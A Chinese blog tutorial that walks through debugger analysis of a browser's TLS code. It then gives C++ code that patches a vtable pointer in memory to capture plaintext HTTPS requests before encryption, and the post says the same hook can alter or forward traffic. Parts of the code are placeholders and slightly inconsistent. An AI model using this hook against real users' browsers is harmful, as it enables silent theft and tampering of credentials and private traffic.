1. 程式人生 > >通過Hook技術對瀏覽器HTTPS劫持

通過Hook技術對瀏覽器HTTPS劫持

現在很多網站都使用了 https 的方案,保證了傳輸中的資料不被修改或者被第三方封包軟體看見,但是由於https有一些隱含的缺陷或者伺服器驗證的不嚴格,https被劫持的可能性存在,就像之前出現了”淨廣大師”病毒劫持https,往百度搜索裡插入廣告id,他使用的方法就是中間人攻擊,強行插入自己的證書實現解密https,今天我們介紹一種瀏覽器劫持的方法實現https劫持,現在我們就開始分析去找到瀏覽器中https加密的入口。

(一)分析方法

首先我們開啟瀏覽器(注意:這裡涉及的瀏覽器的名字都會被隱去),輸入baidu.com,在baidu裡輸入666666

QQ圖片20170330224925.png

我們可以看到baidu搜尋時瀏覽器位址列裡,baidu的網站使用的是https連結地址

接下來使用偵錯程式ollydbg去附加瀏覽器,然後在命令輸入bp WSASend

QQ圖片20170330210905.png

然後重新點選百度裡的搜尋按鈕,這是偵錯程式會斷在WSASend地方:

QQ圖片20170330211609.png

我們再看堆疊區域,往下翻堆疊會看到

QQ圖片20170330211626.png

sha256相關的hash計算的,這裡就是說在傳送資料之前經過一些tls的計算的過程,下面我繼續走掉返回到呼叫WSASend的地方:  0x66F20F20

QQ圖片20170330212009.png

這裡並不是明文所在的地方,一般進入發包的地方時已經被加密了,我們繼續走下去,返回到呼叫該函式區域的所在函式,因為這個函式沒什麼特徵性,應該還沒到達https加密前所在的地方,返回到一個呼叫比較特別的地方。

QQ圖片20170330213434.png

當我們返回到這裡

CALL DWORD PTR DS:[EDX+8]我們要引起注意,可以大概這樣假設,這裡是呼叫 c++一個類的虛表函式。

我們直接下斷點在CALL DWORD PTR DS:[EDX+8]然後F9,接下來瀏覽器就停在了這句程式碼上,我們具體分析下記憶體EDX地址是: 0×68337724

QQ圖片20170330215135.png

發現此地址確實是個函式表

QQ圖片20170330215214.png

這時我們在翻堆疊資訊時發現了明文的請求資訊

QQ圖片20170330215224.png

按下快捷鍵:ctrl + G ,輸入0x66FC422D,進入該函式地址區域:

66FC4219    E8 020F1401     CALL xxxxxx.68105120

66FC421E    83C4 0

C         ADD ESP,0C

66FC4221    03DF            ADD EBX,EDI

66FC4223    017E 28         ADD DWORD PTR DS:[ESI+28],EDI

66FC4226    8BCE            MOV ECX,ESI

66FC4228    E8 D6000000     CALL chrome_1.66FC4303

66FC422D    837E 2C 00      CMP DWORD PTR DS:[ESI+2C],0

66FC4231    0F84 C1000000   JE chrome_1.66FC42F8

66FC4237    837E 2C FF      CMP DWORD PTR DS:[ESI+2C],-1

66FC423B    0F84 B7000000   JE chrome_1.66FC42F8

66FC4241    837E 1C FF      CMP DWORD PTR DS:[ESI+1C],-1

66FC4245    0F85 AD000000   JNZ chrome_1.66FC42F8

66FC424B    8D4424 20       LEA EAX,DWORD PTR SS:[ESP+20]

66FC424F    50              PUSH EAX

66FC4250    8D4E 34         LEA ECX,DWORD PTR DS:[ESI+34]

66FC4253    E8 4DBB2CFF     CALL xxxxxxx.6628FDA5

發現這裡並沒有什麼特殊地方我們可以繼續F8單步走下去,當我們走到地址67034AB0知道我們之前呼叫有個特殊的函式,call  [eax+0x30], 可以猜測這裡的呼叫也是一個虛表裡的函式。

 QQ圖片20170330220824.png

接下來我們把之前的所有斷點全部禁用

QQ圖片20170330230032.png

然後在這個函式地方下斷點,重新開始baidu搜尋,這時瀏覽器停在了這個函式call  [eax+0x30]的地方 ,此時eax值為0x683A1908

QQ圖片20170330221641.png

檢視eax的記憶體所在的地址確實是個函式表,是虛表沒錯了,edi地址也有明文。

QQ圖片20170330221755.png

在分析堆疊,該函式有三個引數

QQ圖片20170330222117.png

call [eax+0x30]前有三個

push [ebp+8]

push edi

push esi

說明該函式是三個引數,在上面堆疊中我們找到前三個值分別是

0x197D8EE8是第一個引數,這是一個c++類地址,因為0x197D8EE8裡的值就是eax的值。

0x19F2A390 第二個引數為明文緩衝區地址

0x6BF 第三個引數為緩衝區的長度

下面我們驗證下我們對以上三個引數的驗證,F9,下次瀏覽器會繼續停在該函式的地方

檢視堆疊,確實如上猜測 :

QQ圖片20170330230704.png

我們再繼續回過頭分析eax這個值,0x683A1980,這個地址在當前這個程式的這個程式碼模組內,且在這個模組的”.rdata”程式段內,那這足以證明該地址就是一個https的加密類,而0×30的偏移的函式就是加密函式入口。

(二)程式碼實現

分析到了具體的地方,我們就可以寫程式去掛鉤這個虛表函式去獲取瀏覽器每次發出去的明文請求。

我們可以定義一個c++ 虛類

class ssl_https;

typedef int ( __cdecl *pSSL_Unknow)(ssl_https* bio,const char* buffer ,const int len );

typedef int ( __cdecl *pSSL_Crypt)(ssl_https* bio,const char* buffer ,const int len );

class ssl_https

{

public:

 ssl_https();

 ~ssl_https();

public:

 int m_ssl_type;

 int m_ssl_flags;

 pSSL_Unknow pSSL_Unknow_1;

 pSSL_Unknow pSSL_Unknow_2;

 pSSL_Unknow pSSL_Unknow_3;

 pSSL_Unknow pSSL_Unknow_4;

 pSSL_Unknow pSSL_Unknow_5;

 pSSL_Unknow pSSL_Unknow_6;

 pSSL_Unknow pSSL_Unknow_7;

 pSSL_Unknow pSSL_Unknow_8;

 pSSL_Unknow pSSL_Unknow_9;

 pSSL_Unknow pSSL_Unknow_10;

 pSSL_Crypt  pSSL_Crypt;

 pSSL_Unknow pSSL_Unknow_11;

 pSSL_Unknow pSSL_Unknow_12;

 pSSL_Unknow pSSL_Unknow_13;

 pSSL_Unknow pSSL_Unknow_14;

 pSSL_Unknow pSSL_Unknow_15;

 pSSL_Unknow pSSL_Unknow_16;

 pSSL_Unknow pSSL_Unknow_17;

 pSSL_Unknow pSSL_Unknow_18;

 pSSL_Unknow pSSL_Unknow_19;

 pSSL_Unknow pSSL_Unknow_20;

 pSSL_Unknow pSSL_Unknow_21;

};

其中pSSL_Crypt 這個地址就是0×30的偏移的函式指標,接著我就寫一個hijack類去實現hook瀏覽器

class CBrowser

{

public:

 CBrowser();

 ~CBrowser();

 BOOL Init();

 static int __cdecl SSL_Crypt(ssl_https* ssl,const char* buffer ,const int len );

private:

 ssl_https* m_sslBio;

public:

 ssl_https* getSslhttps();

};

CBrowser::CBrowser()

{

 m_sslBio = NULL;

}

CBrowser::~CBrowser()

{

}

BOOL CBrowser::Init()

{

 //待搜尋續表所在地址的特徵碼(都是偽碼)

 BYTE search_bytes[] = {0xa0,0xff,0xaa,0x99,0x8a,0x75,0x0E};

 //在瀏覽器的模組裡搜尋我們需要找到的特徵碼

 BYTE* bytes_addr = (BYTE*)SearchCodeAddress(

  "瀏覽器.dll",

  ".text",

  search_bytes,

  sizeof(search_bytes));

 if (bytes_addr)

 {

  {

   ULONG_PTR* pAddress = 0;

   pAddress = (ULONG_PTR*)(*((ULONG_PTR*)&bytes_addr[8]));

   if ( pAddress)

   {

    //這裡是比較續表的大小是否在範圍裡

    if ( abs((long)((pAddress[1]) -(ULONG_PTR) pAddress))  < 0x100)

    {

     ssl_https* oril_ssl = (ssl_https*)(pAddress[1]);

     //分配一個新虛表地址

     m_sslBio = (ssl_https*)malloc(sizeof(ssl_https));

     if (m_sslBio)

     {

      //複製原始虛表函式表

      memcpy(m_sslBio,oril_ssl,sizeof(ssl_https));

      DWORD dwOldProtect = 0;

      DWORD dwTemp;

      ULONG_PTR NewSslCrypt = (ULONG_PTR)SSL_Crypt;

      //去掉地址保護屬性

      VirtualProtectEx(

        GetCurrentProcess(),

        &oril_ssl->pSSL_Crypt,

        sizeof(ULONG_PTR),

        PAGE_READWRITE,

        &dwOldProtect);

      //改寫地址的值為自己的掛鉤函式

      if(::WriteProcessMemory(

        GetCurrentProcess(),

        &oril_ssl->pSSL_Crypt,

        &NewSslCrypt,

        sizeof(ULONG_PTR),

        NULL))

      {

        VirtualProtectEx(

         GetCurrentProcess(),

         &oril_ssl->pSSL_Crypt,

         sizeof(ULONG_PTR),

         dwOldProtect,

         &dwTemp);

        return TRUE;

      }

      VirtualProtectEx(

        GetCurrentProcess(),

        &oril_ssl->pSSL_Crypt,

        sizeof(ULONG_PTR),

        dwOldProtect,

        &dwTemp);

     }

    }

   }

  }

 }

 return FALSE;

}

ssl_https* CBrowser::getSslBio()

{

 return m_sslBio;

}

int CBrowser::SSL_Crypt(ssl_https* bio,const char* buffer ,const int len )

{

 if (getSslBio())

 {

  //在這裡我們可以加入自己的分析過濾模組, 對原始請求進行過濾

  Analyze(buffer,len);

  //呼叫原始的函式表去加密

  int nResult = getSslBio()->pSSL_Crypt(bio,buffer,len);

  return nResult;

 }

 return 0;

}

在以上程式碼我們獲取了模組加密類的虛表地址後就替換剛才那個偏移地址,修改指標去實現hook,當我們在瀏覽器裡百度搜索時,會停在我們的函式裡

QQ圖片20170330224226.png

Buffer引數

QQ圖片20170330231427.png

Len值QQ圖片20170330231455.png

結果和我們預想的一樣,這樣我們就通過hook實現了瀏覽器https明文的截獲,在我們的hook函式中我們可以做任何事情,可以過濾資料,可以轉發資料,甚至我們還能修改請求資料,如果我們再hook了瀏覽器的https的解密函式,也能過濾或者修改從伺服器端接受的https資料迴應資訊,實現我們想要的各種功能。

總結

自此本文結束,綜上所講的hook技術能夠破壞瀏覽器程式本身,導致https被劫持,而瀏覽器卻無法察覺,可見瀏覽器廠商對自身的安全性保障也是一個很重要的、值得他們去深思研究的問題。

(注意:本文只是屬於技術分享,請勿用於非正常途徑,故而會隱去瀏覽器的名稱)

相關推薦

通過Hook技術瀏覽器HTTPS劫持

現在很多網站都使用了 https 的方案,保證了傳輸中的資料不被修改或者被第三方封包軟體看見,但是由於https有一些隱含的缺陷或者伺服器驗證的不嚴格,https被劫持的可能性存在,就像之前出現了”淨廣大師”病毒劫持https,往百度搜索裡插入廣告id,他使用的方法

python利用hook技術破解https,抓取使用者名稱與登入密碼!

相對於http協議,https是的特點就是他的安全性,http協議的通訊內容用普通的嗅探器可以捕捉到,但是https協議的內容嗅探到的是加密後的內容,對我們的利用價值不是很高,所以一些大的網站----涉及到“大米”的網站,採用的都是http是協議。

Hook技術(四)系統啟動Activity進行Hook之偷樑換柱Activity

引出問題 我們如果要啟動一個activity,我們的做法是1. 在AndroidManifest.xml中宣告一個Activity 2. startActivity,如果不在AndroidManifest.xml中宣告,啟動activity會報錯(androi

網頁頁面NULL值瀏覽器兼容性的影響

vco ise alt trac script input 有時 alua arraylist 網頁頁面NULL值對瀏覽器兼容性的影響

淺談360全景技術會展的影響及應用

360全景 信息化的時代,一日千變,一個新的技術出現也許在幾秒內就能發生變化。這就是當今的信息速度。近年來360全景技術在中國廣泛運用,且在不斷的發展中。就360全景制作技術這一塊來說,360全景產業在國內外已取得了一定的收獲盈利模式也出現了多樣化,使得360全景產業呈現出欣欣向榮的景象。 會

360全景技術旅遊景區的影響是什麽

360全景 360全景技術的成熟,讓全景旅遊正在逐漸成為一種全新的旅遊形式,遊覽者僅僅需要一副VR眼鏡,就能足不出戶遊覽千山萬水。當然,360全景技術並不單單只是催生出全景旅遊者以新的旅遊形式而已,它對旅遊行業擁有更深遠的含義。 隨著技術進步,虛擬現實360全景技術所展現出的效果也越來越好,為

AVPass技術分析:銀行劫持類病毒鼻祖BankBot再度來襲,如何繞過谷歌play的殺毒引擎?

cdn 屬於 銀行賬號 target 博客 增加 android5 blank 爆發 背景 近期,一批偽裝成flashlight、vides和game的應用,發布在google play官方應用商店。經錢盾反詐實驗室研究發現,該批惡意應用屬於新型BankBot。Bankbo

瀏覽器storage的操作

cti color 默認 ret return div class span blog var storage=(function(opts) { ‘use strict‘; function StorageHandle(storage) {

Wireshark解密部分瀏覽器https通信

ges 方法 支持 program pre www pro 密鑰 tps 現在介紹一種Chrome,Firefox支持的方法 設置SSLKEYLOGFILE環境變量,在訪問https網頁時,瀏覽器會記錄對稱會話密鑰,通過此文件結合Wireshark可進一步解密https通

通過大數據智能手機市場消費情況分析

尺寸 logs 網通 分析 ont com es2017 5.5 通過 最近30天,智能手機行業在1688市場的熱門處理器核心為:八核 , 四核 。 預計未來一個月,1688市場智能手機行業的熱門處理器核心為:八核 , 四核 , 十核 。 最近30天,智能手機行業在

selenium+python自動化測試(二)瀏覽器的簡單操作

cat quit 報錯 簡單 conn port ted href ide 1.最大化 maximize_window 1 # coding = utf-8 2 3 from selenium import webdriver 4 chromedriver =

PHP通過反射實現象的成員方法調用

php reflection class Food { public $name = 'apple'; } class Person { const SEX = 'boy'; public $name; private $age;

OpenSUSE Leap 42.3下通過Firefox Opera Chromium瀏覽器直接執行java應用程序(打開java jnlp文件)實現在服務器遠程虛擬控制臺完成遠程管理的方法

build 自定義 1.8 jnl use 信息 server run java應用 遠程虛擬控制臺依賴於java運行環境(jre),在通過瀏覽器打開鏈接前,系統必須安裝jre環境,遠程管理控制臺其實就是一個java程序,打開相應的網站會下載一個jnlp(java網絡加

Java核心技術-象與類

stringbu 特殊 實現 導入 其它 名詞 種類型 一個 mat 1 面向對象程序設計概述 面向對象的程序是由對象組成的,每個對象包含對用戶公開的特定功能部分和隱藏的實現部分。 1.1 類 類是構造對象的模板或藍圖,由類構造對象的過程稱為創建類的實例。 封裝:  從形式

通過MSTP技術實現小型制造工廠的網絡鏈路備份以及負載均衡

MSTP技術實現網絡鏈路的備份以及負載均一、網絡拓撲圖二、思路:將同部門的PC機規劃到同一個VLAN中,然後通過MSTP技術對交換機上的vlan進行優先級劃分。三、構建網絡拓撲圖,將所需的網絡設備添加到拓撲圖中,並連上網線。四、配置PC機的IP地址及子網掩碼,標識出所屬的VLAN、IP地址、所屬車間。以及vl

Android so註入(inject)和Hook技術學習(三)——Got表hook之導出表hook

open bin fopen store 模塊 技術學習 個數 where detail 前文介紹了導入表hook,現在來說下導出表的hook。導出表的hook的流程如下。1、獲取動態庫基值    1 void* get_module_base(pid_t pid,

清除input框瀏覽器保存的用戶名和密碼自動填充問題

自動 NPU type 寫法 pass text off his complete 清除input框對瀏覽器保存的用戶名和密碼自動填充問題: type類型寫如下寫法,聚焦的時候type類型為“password” <input ng-model="getpwd" nam

創客集結號詳談3D打印技術創客教育的意義

機構 size 研發 部門 組織 時代 競賽 學習 images 隨著智能時代的發展,許多高新科技投身於創客教育領域,3D打印是熱門的技術之一。3D打印技術作為快速制造領域的一項新生技術,它可以快速、精確地將計設計數據轉化為模型或實物,生產周期短、精度高,現已被廣泛應用在工

Android Hook技術

展示 call sid 生成 工作 淘寶 acc apk xtend 1. 什麽是 Hook Hook 英文翻譯過來就是「鉤子」的意思,那我們在什麽時候使用這個「鉤子」呢?在 Android 操作系統中系統維護著自己的一套事件分發機制。應用程序,包括應用觸發事件和後臺邏輯

通過反射判斷象的屬性值是否為空

color err 繼承 access declare set arr logger 方式 問題產生場景? 在項目開發過程中我采用了表單內部嵌套列表的形式提交數據,將表單於列表數據同時提交保存。 有時候管理人的出資人結構我新增了多條 這時候並沒有真正的保存到數